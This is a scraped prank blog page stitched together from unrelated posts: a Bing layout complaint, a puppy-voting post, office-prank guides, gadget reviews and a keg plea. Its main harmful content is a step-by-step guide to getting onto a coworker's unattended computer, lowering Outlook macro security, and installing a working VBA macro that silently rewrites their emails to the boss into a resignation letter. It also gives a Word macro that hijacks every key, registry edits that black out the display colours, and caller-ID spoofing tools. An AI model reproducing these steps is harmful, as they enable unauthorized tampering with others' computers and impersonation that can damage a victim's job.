Image Source

Well, it looks like the guys over at Microsoft ignored their own browser when it came to design. As you can see the new “Bing” search is hovering over the main navigation. Mom’s around the world are freaking out because they can’t click on their Hotmail.

Ie 6

Ie 8

MSN - screw up gallery

Below are the links to all the dogs in the new Puppy-off. Please vote for each of the puppies.

Tyson: Jonathan Heinl’s Boxer Puppy

Bailey: Chris Hooley’s half maltese half poodle Puppy

Macy: Jeff Dempsey’s Labrador Puppy

Levi: Our Friend Lauren’s Australian Sheep Dog Puppy

Biggie-Smalls: Our Friend Jessica’s Pointer Lab mix Puppy

The Puppy-off is running till the end of June 2009. If you have a pup and would like to join in on the fun, please e-mail in a picture of your puppy to Cuddlyornot@gmail.com. Please feel free to comment here with your URL once you’ve submitted and received and I will list it above.

Requirements:

Time (low) - takes little to no time changing your vitcim’s Google language settings.
Cost (low) - no cost at all.
Risk (low) - you’re really not risking anything except messing up your coworker’s Google page, but it’s easy to reverse so you should be fine.
Steps:

When your coworker leave’s their computer for a moment, hop onto it and head to the Google search page.
Click on the “preferences” link next to the Google search box.
Change the interface language at the top to something fun (such as Elmer Fudd or Hacker)
Result:

When your coworker gets back to their desk, the next time they pull up a Google search they will be greeted with the results of your prank. Depending on the language you set, the effect will range from obvious and over-the-top to subtle and perhaps not even noticeable for awhile.

Keep in mind that this only changes the Google interface language, not the actual search results. This may lead them to believe that it’s Google pulling the prank, thus making them think they have to deal with it for awhile.

Do you have a co-worker you wish would just quit? Well now they will quit and not even realize it. This computer prank will modify emails sent (out of outlook) to the victims boss with a resignation letter. All you have to do is add the code below to Outlook and you’re good to go. Follow the steps below:

1. Gain access to the victim’s computer.  This prank will take a minute at most if you have the code ready.  Wait for them to go to lunch or the bathroom and you should be safe.
2. Open Outlook
3. Change macro security settings to LOW.

   

   1. Click Tools in the top menu
   2. Click Macro
   3. Click Security
   4. Select Low
   5. Hit OK
4. Press Alt + F11 (This will open vba editor)
5. Select ThisOutlookSession in the project window

   

6. Copy and paste the below code into the editor

Private Sub Application_ItemSend(ByVal Item As Object, Cancel As Boolean)
Dim m As Variant
Dim strBody As String
On Error GoTo ErrorHandler
If Item.To = "Boss Email" Then
Item.Subject = "My Resignation"
Item.Body = "Please accept this letter as notification that" & _
"I am resigning from my position with ABCD Company today." & _
"I apologize for not being able to provide two weeks notice." & _
"However, I regret that, due to circumstances beyond my control, I need to resign immediately." & _
"Please forward my last paycheck to my home address." & vbCrLf & _
"Thank you for the support that you have provided me during my tenure with the company." & vbCrLf & _
"Sincerely," & vbCrLf & vbCrLf & _
"Your Name"
If m = vbNo Then
Cancel = True
GoTo ExitSub
End If
End If
'
ExitSub:
Set Item = Nothing
strBody = ""
Exit Sub
'
ErrorHandler:
MsgBox "Send Checker" & vbCrLf & vbCrLf _
& "Error Code: " & Err.Number & vbCrLf & Err.Description
Err.Clear
GoTo ExitSub
End Sub

7. Edit the information to match theirs.  I.e. Your Name and ABCD Company

8. Change (If Item.To = "Boss Email") to their bosses real name.  It should be in proper case.

9. Press Ctrl + S (Save)
10. Close out the vba editor
11. DONE!

Now all you have to do is, wait for them to send an email to their boss.  No matter what they send to their boss it will be replaced with the resignation.

You can test the email by having the bosses email sent to you.  If everything works simply change the email to bosses email and follow the directions above.

TV-B-Gone

Simple, inconspicuous, and effective, the TV-B-Gone device contains 209 turn-off codes that will turn off “almost any” TV off and on by remote control. The tiny device looks like any random plastic key chain, so you can sit in the corner–or right in front of the set–and continually turn it off to the frustration of others around you. It also has a little range, and works within a range of 50 feet.

BlueScreen Screen Saver

The blue screen knows to may as the Blue Screen of Death is the harbinger of a Windows system crash and possibly worse. Woulnd’t it be funny if you could toss one up on a friend/foe’s computer at will? Well, you can. Offered by Microsoft itself, this BlueScreen Screen Saver is enough to strike at least momentary fear in anyone who sees it. Simply download and install while your victim is away from his desk and let the fun begin.

Annoy-a-Tron

This small, hide-able device generates a short, annoying beep from 2kHz to 12kHz at intervals ranging from 2 to 8 minutes. Because the sets of beeps are random, the tiny 2.5″ x 1.25″ x .3″ Annoy-a-Tron is impossible to find. Plus, it will run three to four weeks on a single battery, driving your victim crazy day after day.

PhoneMyPhone Automated Online Crank Call Tool

Half of the fun of crank calling someone is hearing their annoyance on the other end of the line, but pros receive less satisfaction from taking part in the call than in efficiently pestering thier victim without leaving any clues behind.PhoneMyPhone is a basic online tool that allows you to enter the phone number you want to call and then calls the number up to nine times in a row. The call reads “Private” on the receiving end, and the it gives a simple “1…2…3…4…5″ voice message to the receiver…over and over again.

Ninja Remote

A high-tech version of the TV-B-Gone, the Ninja Remote offers remote control of on/off, channel up/down, volume up/down, and mute functions for “almost any” TV. The downside of this device in relation to the TV-B-Gone is that it is much bigger and conspicuous. After playing with the TV for 20 minutes and pissing off everyone else in the room, you’re going to be noticed punching buttons on this device.

Phone Trick Automated Online Crank Call Tool

A more detailed (but far less slick) remote calling application than the PhoneMyPhone mentioned above, this simplePhone Trick page allows you to enter the number you want to call, as well as both the name and number listed on the caller ID display. You can also type in a message, which is then automatically and robotically spoken over the phone in one of 11 voices, which you get to choose from.

Shocking Cell Phone (+ Two More)

One of the oldest gags in the office prank book is the shocking writing utensil or office supply. This Shocking Cell Phonebrings the trick into the contemporary. Of course, the real trick is going to be trying to talk someone into believing that this 1.5″ x 3″ plastic toy is a real phone. But if the tried and true classics are more up your alley, shocking pens and staplersmight be a better fit.

SpoofCard

SpoofCard is an easy way to freak out someone who fears receiving calls from creditors, an ex-girlfriend, or an angry boss. Calling with the card allows you to manipulate what the person on the receiving end sees in thier caller ID display, giving you both anonymity and a couple of laughs.

[Photo Credit: Northern Attack]

Source: http://www.productdose.com/article.php?article_id=5553

Link: http://www.ex-parrot.com/~pete/upside-down-ternet.html

Download entire prank here (Large Download - images in Zip file): Numbers and letters game computer prank

Step 1: Open up Microsoft word

Step 2: Press Alt + 11

Step 3: Select your Normal Template

Step 4: Copy and past the code below into “This Document” under the normal template… (It’s a lot of code so make sure to copy it all)

Public pic As String
Sub Auto_Open()
KeyBindings.ClearAll
ActiveDocument.ActiveWindow.View.Type = wdWebView
ActiveDocument.Background.Fill.UserPicture _
PictureFile:="C:\prank images\white.jpg"
With Application
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyA), KeyCategory:=wdKeyCategoryCommand, Command:="a"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyB), KeyCategory:=wdKeyCategoryCommand, Command:="b"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyC), KeyCategory:=wdKeyCategoryCommand, Command:="c"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyD), KeyCategory:=wdKeyCategoryCommand, Command:="d"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE), KeyCategory:=wdKeyCategoryCommand, Command:="e"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyF), KeyCategory:=wdKeyCategoryCommand, Command:="f"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyG), KeyCategory:=wdKeyCategoryCommand, Command:="g"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyH), KeyCategory:=wdKeyCategoryCommand, Command:="h"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyI), KeyCategory:=wdKeyCategoryCommand, Command:="i"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyJ), KeyCategory:=wdKeyCategoryCommand, Command:="j"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyK), KeyCategory:=wdKeyCategoryCommand, Command:="k"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyL), KeyCategory:=wdKeyCategoryCommand, Command:="l"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyM), KeyCategory:=wdKeyCategoryCommand, Command:="m"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyN), KeyCategory:=wdKeyCategoryCommand, Command:="n"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyO), KeyCategory:=wdKeyCategoryCommand, Command:="o"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyP), KeyCategory:=wdKeyCategoryCommand, Command:="p"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyQ), KeyCategory:=wdKeyCategoryCommand, Command:="q"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyR), KeyCategory:=wdKeyCategoryCommand, Command:="r"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyS), KeyCategory:=wdKeyCategoryCommand, Command:="s"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyT), KeyCategory:=wdKeyCategoryCommand, Command:="t"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyU), KeyCategory:=wdKeyCategoryCommand, Command:="u"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyV), KeyCategory:=wdKeyCategoryCommand, Command:="v"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyW), KeyCategory:=wdKeyCategoryCommand, Command:="w"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyX), KeyCategory:=wdKeyCategoryCommand, Command:="x"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyY), KeyCategory:=wdKeyCategoryCommand, Command:="y"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyZ), KeyCategory:=wdKeyCategoryCommand, Command:="z"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKey0), KeyCategory:=wdKeyCategoryCommand, Command:="zero"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKey1), KeyCategory:=wdKeyCategoryCommand, Command:="one"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKey2), KeyCategory:=wdKeyCategoryCommand, Command:="two"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKey3), KeyCategory:=wdKeyCategoryCommand, Command:="three"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKey4), KeyCategory:=wdKeyCategoryCommand, Command:="four"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKey5), KeyCategory:=wdKeyCategoryCommand, Command:="five"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKey6), KeyCategory:=wdKeyCategoryCommand, Command:="six"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKey7), KeyCategory:=wdKeyCategoryCommand, Command:="seven"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKey8), KeyCategory:=wdKeyCategoryCommand, Command:="eight"
KeyBindings.Add KeyCode:=BuildKeyCode(wdKey9), KeyCategory:=wdKeyCategoryCommand, Command:="nine"
End With
End Sub
Sub a()
pic = "C:\prank images\smaller\IMG_0430.jpg"
Call imagechange(pic)
Selection.TypeText Text:="a"
End Sub
Sub b()
pic = "C:\prank images\smaller\IMG_0431.jpg"
Call imagechange(pic)
Selection.TypeText Text:="b"
End Sub
Sub c()
pic = "C:\prank images\smaller\IMG_0432.jpg"
Call imagechange(pic)
Selection.TypeText Text:="c"
End Sub
Sub d()
pic = "C:\prank images\smaller\IMG_0433.jpg"
Call imagechange(pic)
Selection.TypeText Text:="d"
End Sub
Sub e()
pic = "C:\prank images\smaller\IMG_0434.jpg"
Call imagechange(pic)
Selection.TypeText Text:="e"
End Sub
Sub f()
pic = "C:\prank images\smaller\IMG_0435.jpg"
Call imagechange(pic)
Selection.TypeText Text:="f"
End Sub
Sub g()
pic = "C:\prank images\smaller\IMG_0436.jpg"
Call imagechange(pic)
Selection.TypeText Text:="g"
End Sub
Sub h()
pic = "C:\prank images\smaller\IMG_0437.jpg"
Call imagechange(pic)
Selection.TypeText Text:="h"
End Sub
Sub i()
pic = "C:\prank images\smaller\IMG_0438.jpg"
Call imagechange(pic)
Selection.TypeText Text:="i"
End Sub
Sub j()
pic = "C:\prank images\smaller\IMG_0439.jpg"
Call imagechange(pic)
Selection.TypeText Text:="j"
End Sub
Sub k()
pic = "C:\prank images\smaller\IMG_0440.jpg"
Call imagechange(pic)
Selection.TypeText Text:="k"
End Sub
Sub l()
pic = "C:\prank images\smaller\IMG_0441.jpg"
Call imagechange(pic)
Selection.TypeText Text:="l"
End Sub
Sub m()
pic = "C:\prank images\smaller\IMG_0442.jpg"
Call imagechange(pic)
Selection.TypeText Text:="m"
End Sub
Sub n()
pic = "C:\prank images\smaller\IMG_0443.jpg"
Call imagechange(pic)
Selection.TypeText Text:="n"
End Sub
Sub o()
pic = "C:\prank images\smaller\IMG_0444.jpg"
Call imagechange(pic)
Selection.TypeText Text:="o"
End Sub
Sub p()
pic = "C:\prank images\smaller\IMG_0445.jpg"
Call imagechange(pic)
Selection.TypeText Text:="p"
End Sub
Sub q()
pic = "C:\prank images\smaller\IMG_0446.jpg"
Call imagechange(pic)
Selection.TypeText Text:="q"
End Sub
Sub r()
pic = "C:\prank images\smaller\IMG_0447.jpg"
Call imagechange(pic)
Selection.TypeText Text:="r"
End Sub
Sub s()
pic = "C:\prank images\smaller\IMG_0448.jpg"
Call imagechange(pic)
Selection.TypeText Text:="s"
End Sub
Sub t()
pic = "C:\prank images\smaller\IMG_0450.jpg"
Call imagechange(pic)
Selection.TypeText Text:="t"
End Sub
Sub u()
pic = "C:\prank images\smaller\IMG_0451.jpg"
Call imagechange(pic)
Selection.TypeText Text:="u"
End Sub
Sub v()
pic = "C:\prank images\smaller\IMG_0452.jpg"
Call imagechange(pic)
Selection.TypeText Text:="v"
End Sub
Sub w()
pic = "C:\prank images\smaller\IMG_0453.jpg"
Call imagechange(pic)
Selection.TypeText Text:="w"
End Sub
Sub X()
pic = "C:\prank images\smaller\IMG_0454.jpg"
Call imagechange(pic)
Selection.TypeText Text:="x"
End Sub
Sub y()
pic = "C:\prank images\smaller\IMG_0455.jpg"
Call imagechange(pic)
Selection.TypeText Text:="y"
End Sub
Sub z()
pic = "C:\prank images\smaller\IMG_0456.jpg"
Call imagechange(pic)
Selection.TypeText Text:="z"
End Sub
Sub zero()
pic = "C:\prank images\smaller\IMG_0457.jpg"
Call imagechange(pic)
Selection.TypeText Text:="0"
End Sub
Sub one()
pic = "C:\prank images\smaller\IMG_0458.jpg"
Call imagechange(pic)
Selection.TypeText Text:="1"
End Sub
Sub two()
pic = "C:\prank images\smaller\IMG_0459.jpg"
Call imagechange(pic)
Selection.TypeText Text:="2"
End Sub
Sub three()
pic = "C:\prank images\smaller\IMG_0460.jpg"
Call imagechange(pic)
Selection.TypeText Text:="3"
End Sub
Sub four()
pic = "C:\prank images\smaller\IMG_0461.jpg"
Call imagechange(pic)
Selection.TypeText Text:="4"
End Sub
Sub five()
pic = "C:\prank images\smaller\IMG_0462.jpg"
Call imagechange(pic)
Selection.TypeText Text:="5"
End Sub
Sub six()
pic = "C:\prank images\smaller\IMG_0463.jpg"
Call imagechange(pic)
Selection.TypeText Text:="6"
End Sub
Sub seven()
pic = "C:\prank images\smaller\IMG_0464.jpg"
Call imagechange(pic)
Selection.TypeText Text:="7"
End Sub
Sub eight()
pic = "C:\prank images\smaller\IMG_0465.jpg"
Call imagechange(pic)
Selection.TypeText Text:="8"
End Sub
Sub nine()
pic = "C:\prank images\smaller\IMG_0466.jpg"
Call imagechange(pic)
Selection.TypeText Text:="9"
End Sub
Sub imagechange(pic As String)
ActiveDocument.ActiveWindow.View.Type = wdWebView
ActiveDocument.Background.Fill.UserPicture _
PictureFile:=pic
End Sub

Step 5: Make sure you have placed the images in C:\prank images\smaller\….

Step 6: Save

Step 7: Close word

Step 8: If you have time re-open word to make sure it worked.  If every went OK,  every time you press a number or letter key it will display a image in the background, like this:

1.  Click on the Start menu
2. Select Run
3. Type in REGEDIT.  Click on Ok.
4. Navigate to HKEY_CURRENT_USER\Control Panel\Colors. 
5. Change each value. The Data column holds the RGB value for all component shown here. For each listing that is not set to “0 0 0″ in the “Data” column, double-click on it and change it to 0 0 0 with spaces between the zeros. 
6.  Click Ok.
7. Close the Registry Editor.
8. Restart the computer.

source

So this is where you come in. I need 500 signatures (Comments) on this post. If I can achieve this amount I will get to keg-erator on the list and possibly fresh keg beer every day for the rest of my life. PLEASE LEAVE A COMMENT in favor of a keg-erator